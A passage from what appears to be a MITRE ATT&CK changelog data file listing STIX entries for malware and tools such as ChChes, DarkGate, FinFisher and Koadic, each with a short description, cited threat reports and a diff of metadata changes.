P.. (2018, September 10). We\\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.\", \"old_value\": \"Doaty, J., Garrett, P.. (2018, September 10). We\\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/\", \"old_value\": \"https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/\"}}}", + "previous_version": "2.3" + }, + { + "type": "malware", + "id": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:45.892000+00:00", + "modified": "2024-09-04 17:04:35.670000+00:00", + "name": "BLACKCOFFEE", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0069", + "external_id": "S0069" + }, + { + "source_name": "BLACKCOFFEE", + "description": "(Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)" + }, + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BLACKCOFFEE" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-04 17:04:35.670000+00:00\", \"old_value\": \"2020-03-30 14:58:42.298000+00:00\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf\", \"old_value\": \"https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1" + }, + { + "type": "malware", + "id": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:33:22.451000+00:00", + "modified": "2024-09-12 19:32:28.615000+00:00", + "name": "ChChes", + "description": "[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0144", + "external_id": "S0144" + }, + { + "source_name": "ChChes", + "description": "(Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)" + }, + { + "source_name": "Scorpion", + "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)" + }, + { + "source_name": "HAYMAKER", + "description": "Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named HAYMAKER by FireEye is likely the same as the malware ChChes. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)" + }, + { + "source_name": "Twitter Nick Carr APT10", + "description": "Carr, N.. (2017, April 6). Retrieved September 12, 2024.", + "url": "https://x.com/ItsReallyNick/status/850105140589633536" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "source_name": "JPCERT ChChes Feb 2017", + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ChChes", + "Scorpion", + "HAYMAKER" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:32:28.615000+00:00\", \"old_value\": \"2023-03-23 15:14:18.599000+00:00\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Carr, N.. (2017, April 6). Retrieved September 12, 2024.\", \"old_value\": \"Carr, N.. (2017, April 6). Retrieved June 29, 2017.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://x.com/ItsReallyNick/status/850105140589633536\", \"old_value\": \"https://twitter.com/ItsReallyNick/status/850105140589633536\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1" + }, + { + "type": "malware", + "id": "malware--750eb92a-7fdf-451e-9592-1d42357018f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-07-07 14:30:25.403000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "CreepyDrive", + "description": "[CreepyDrive](https://attack.mitre.org/software/S1023) is a custom implant has been used by [POLONIUM](https://attack.mitre.org/groups/G1005) since at least early 2022 for C2 with and exfiltration to actor-controlled OneDrive accounts.(Citation: Microsoft POLONIUM June 2022)\n\n[POLONIUM](https://attack.mitre.org/groups/G1005) has used a similar implant called CreepyBox that relies on actor-controlled DropBox accounts.(Citation: Microsoft POLONIUM June 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1023", + "external_id": "S1023" + }, + { + "source_name": "Microsoft POLONIUM June 2022", + "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CreepyDrive" + ], + "x_mitre_attack_spec_version": "2.1.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2022-08-10 13:07:11.790000+00:00\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}}", + "previous_version": "1.0" + }, + { + "type": "malware", + "id": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2024-09-04 21:38:11.979000+00:00", + "name": "DDKONG", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0255", + "external_id": "S0255" + }, + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DDKONG" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_aliases']\": [\"DDKONG\"], \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-04 21:38:11.979000+00:00\", \"old_value\": \"2018-10-17 00:14:20.652000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"DDKONG\", \"description\": \"(Citation: Rancor Unit42 June 2018)\"}}}", + "previous_version": "1.0" + }, + { + "type": "malware", + "id": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-02-09 19:52:30.428000+00:00", + "modified": "2024-09-29 10:22:45.776000+00:00", + "name": "DarkGate", + "description": "[DarkGate](https://attack.mitre.org/software/S1111) first emerged in 2018 and has evolved into an initial access and data gathering tool associated with various criminal cyber operations. Written in Delphi and named \"DarkGate\" by its author, [DarkGate](https://attack.mitre.org/software/S1111) is associated with credential theft, cryptomining, cryptotheft, and pre-ransomware actions.(Citation: Ensilo Darkgate 2018) DarkGate use increased significantly starting in 2022 and is under active development by its author, who provides it as a Malware-as-a-Service offering.(Citation: Trellix Darkgate 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1111", + "external_id": "S1111" + }, + { + "source_name": "Ensilo Darkgate 2018", + "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", + "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign" + }, + { + "source_name": "Trellix Darkgate 2023", + "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.", + "url": "https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DarkGate" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Serhii Melnyk, Trustwave SpiderLabs", + "Phyo Paing Htun (ChiLai)" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-29 10:22:45.776000+00:00\", \"old_value\": \"2024-04-01 21:19:06.580000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Phyo Paing Htun (ChiLai)\"}}", + "previous_version": "1.0" + }, + { + "type": "malware", + "id": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-01-10 19:43:47.281000+00:00", + "modified": "2024-08-26 16:28:39.922000+00:00", + "name": "DarkWatchman", + "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.(Citation: Prevailion DarkWatchman 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0673", + "external_id": "S0673" + }, + { + "source_name": "Prevailion DarkWatchman 2021", + "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.", + "url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "DarkWatchman" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-26 16:28:39.922000+00:00\", \"old_value\": \"2024-04-11 02:40:18.361000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/\", \"old_value\": \"https://www.prevailion.com/darkwatchman-new-fileless-techniques/\"}}}", + "previous_version": "1.2" + }, + { + "type": "malware", + "id": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16 16:13:52.465000+00:00", + "modified": "2024-09-12 17:23:46.687000+00:00", + "name": "FinFisher", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0182", + "external_id": "S0182" + }, + { + "source_name": "FinFisher", + "description": "(Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)" + }, + { + "source_name": "FinSpy", + "description": "(Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + }, + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved September 12, 2024.", + "url": "https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "FireEye FinSpy Sept 2017", + "description": "Jiang, G., et al. (2017, September 12). FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html" + }, + { + "source_name": "Securelist BlackOasis Oct 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "FinFisher", + "FinSpy" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Android" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 17:23:46.687000+00:00\", \"old_value\": \"2022-03-02 15:47:13.329000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"FinFisher. (n.d.). Retrieved September 12, 2024.\", \"old_value\": \"FinFisher. (n.d.). Retrieved December 20, 2017.\", \"new_path\": \"root['external_references'][5]['description']\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html\", \"old_value\": \"http://www.finfisher.com/FinFisher/index.html\", \"new_path\": \"root['external_references'][5]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.4" + }, + { + "type": "malware", + "id": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-25 14:58:24.832000+00:00", + "modified": "2024-09-04 21:39:21.144000+00:00", + "name": "Flagpro", + "description": "[Flagpro](https://attack.mitre.org/software/S0696) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021) ", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0696", + "external_id": "S0696" + }, + { + "source_name": "NTT Security Flagpro new December 2021", + "description": "Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022.", + "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Flagpro" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Hannah Simes, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-04 21:39:21.144000+00:00\", \"old_value\": \"2022-04-01 14:41:47.579000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"Flagpro \", \"description\": \"(Citation: NTT Security Flagpro new December 2021)\"}}}", + "previous_version": "1.0" + }, + { + "type": "malware", + "id": "malware--c9b99d03-ff11-4a48-95f0-82660d582c25", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-07-16 18:19:25.986000+00:00", + "modified": "2024-09-19 14:32:39.426000+00:00", + "name": "GrimAgent", + "description": "[GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0632", + "external_id": "S0632" + }, + { + "source_name": "Group IB GrimAgent July 2021", + "description": "Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.", + "url": "https://www.group-ib.com/blog/grimagent/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "GrimAgent" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-19 14:32:39.426000+00:00\", \"old_value\": \"2022-07-29 19:44:21.016000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.\", \"old_value\": \"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved July 16, 2021.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.group-ib.com/blog/grimagent/\", \"old_value\": \"https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1" + }, + { + "type": "malware", + "id": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-09-04 20:44:43.949000+00:00", + "name": "HAPPYWORK", + "description": "[HAPPYWORK](https://attack.mitre.org/software/S0214) is a downloader used by [APT37](https://attack.mitre.org/groups/G0067) to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0214", + "external_id": "S0214" + }, + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "HAPPYWORK" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_aliases']\": [\"HAPPYWORK\"], \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-04 20:44:43.949000+00:00\", \"old_value\": \"2018-10-17 00:14:20.652000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"HAPPYWORK\", \"description\": \"(Citation: FireEye APT37 Feb 2018)\"}}}", + "previous_version": "1.0" + }, + { + "type": "malware", + "id": "malware--234e7770-99b0-4f65-b983-d3230f76a60b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2024-09-12 19:07:36.511000+00:00", + "name": "Janicab", + "description": "[Janicab](https://attack.mitre.org/software/S0163) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0163", + "external_id": "S0163" + }, + { + "source_name": "Janicab", + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", + "url": "https://web.archive.org/web/20230331162455/https://www.thesafemac.com/new-signed-malware-called-janicab/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Janicab" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:07:36.511000+00:00\", \"old_value\": \"2020-03-19 18:00:00.645000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://web.archive.org/web/20230331162455/https://www.thesafemac.com/new-signed-malware-called-janicab/\", \"old_value\": \"http://www.thesafemac.com/new-signed-malware-called-janicab/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.1" + }, + { + "type": "tool", + "id": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2024-09-27 18:36:30.831000+00:00", + "name": "Koadic", + "description": "[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.(Citation: Github Koadic)(Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes LazyScripter Feb 2021)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0250", + "external_id": "S0250" + }, + { + "source_name": "Koadic", + "description": "(Citation: Github Koadic)(Citation: MalwareBytes LazyScripter Feb 2021)" + }, + { + "source_name": "MalwareBytes LazyScripter Feb 2021", + "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.", + "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.", + "url": "https://github.com/offsecginger/koadic" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Koadic" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": 